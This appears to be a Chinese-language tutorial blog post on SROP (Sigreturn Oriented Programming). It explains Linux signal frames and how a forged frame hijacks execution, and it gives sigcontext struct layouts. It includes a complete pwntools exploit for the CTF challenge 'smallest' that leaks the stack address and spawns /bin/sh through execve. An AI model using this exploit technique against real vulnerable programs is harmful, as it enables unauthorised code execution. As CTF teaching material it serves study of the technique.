SROP 原理

SROP(Sigreturn Oriented Programming)

其中sigreturn是一个系统调用,在类unix系统发生signal时候会被间接地调用。

Signal机制

是类unix系统中进程之间相互传递信息的一种方法。一般称为软中断信号,或者软中断。比如说,进程之间可以通过系统调用kill来发送软中断信号。步骤如下:

  1. 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核状态。
  2. 内核为该进程保存相应上下文,主要是将所有寄存器压入栈中,以及压入signal信息,以及指向sigreturn的系统调用地址。
  3. signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15

偷图王就是我了

在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以Linux为例:

在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn

这一段就是signal frame

在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。

利用方法

思路

仔细观察这个过程可以发现 内核主要做的就是为进程保存上下文,并且恢复上下文。而主要的变动都在Signal Frame中。需要注意的有:

  • Signal frame 被保存在用户的地址空间中,所以用户是可以读写的
  • 由于内核与信号处理程序无关,它并不会去记录这个signal对应的signal frame,所以当执行sigreturn系统调用时,此时的signal frame并不一定是之前的内核为用户进程保存的signal frame。

假设可以控制用户进程的栈,那么就可以伪造一个signal frame,当系统执行完sigreturn系统调用之后,会执行一系列pop指令以便恢复相应寄存器的值,当执行到rip时,就会将程序执行流指向syscall地址,根据相应寄存器的值,此时便会得到shell

如果需要多次使用该方法

只需要修改signal frame中的两处即可:

  • 将signal frame中的RSP指向下一个signal frame的地址
  • 把原来的rip指向的syscall 换成syscall;ret

条件

  • 可以通过栈溢出来控制栈的内容
  • 需要找到相应的地址
    • 字符串地址(泄露栈得出)
    • Sigreturn的地址(若找不到该gadgets可以将rax置为15,然后使用syscall来调用Sigreturn())
    • syscall的地址
    • Signal frame的地址(使用SigreturnFrame()伪造)
  • 足够大的空间以便塞下整个sigal frame

不同类unix的sigreturn_gadget

过程

  1. 伪造signal frame结构,push到栈中。其中需要将对应寄存器的值修改该为系统调用的相关参数

    • Eax/Rax 指向需要用到的系统调用号

    • Rip/Eip 指向syscall的地址

    • ebx/rdi 指向需要用到的字符串

    • Esp ebp和rsp rbp不可直接设置为0

  2. 将返回地址构造为sigreturn的地址(或相关gadget)

  3. 最后sigreturn的系统调用执行完后,就直接可以执行自定义的系统调用了

示例

以春秋杯的smallest为例,主要利用过程为

  • 先泄露stack的地址
  • 将payload写入到栈中
  • 执行execve系统调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#coding:utf-8
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
sh = process("./smallest")
syscall_ret = 0x00000000004000be
start_addr = 0x00000000004000b0
### 利用write,leak stack_addr
payload = p64(start_addr)*3#先构造三次跳转
sh.send(payload)
sh.send('\xb3')
#设置rax=1,即 将返回地址改为0x00000000004000b3即 跳过xor rax,rax,以保持rax=1
#使原有的read(0,rsp,400)变为write(1,rsp,400)
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr:0x%x',stack_addr)
### 使用read将后续的payload写到栈地址上
sigframe = SigreturnFrame()
sigframe.rax=constants.SYS_read #read的系统调用号
sigframe.rdi =0 #参数1
sigframe.rsi = stack_addr #参数2
sigframe.rdx = 0x400 #参数3
sigframe.rsp = stack_addr #返回到栈上,也就是下面的sigreturn_addr
sigframe.rip = syscall_ret #syscall;ret
payload = p64(start_addr)+'a'*8+str(sigframe)
sh.send(payload)
### sigreturn_addr 控制输入字符为15,signal的系统调用号
sigreturn = p64(syscall_ret)+"b"*7
sh.send(sigreturn)
### execve("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr)+"b"*8+str(sigframe)
payload += '\x00'*(0x120-len(payload))+'/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()

leak-stack

正常情况下的泄露栈地址操作如下

  • 当程序开始运行时,寄存器RSI指向的便是栈地址
  • 可以利用read传入某个参数,再泄露该地址,最后把泄露出的地址-RSI的地址便是该参数距离栈的偏移量
  • 泄露出的地址-栈中偏移量=参数在栈中的地址

ucontext_t 结构体

X86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};

X64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};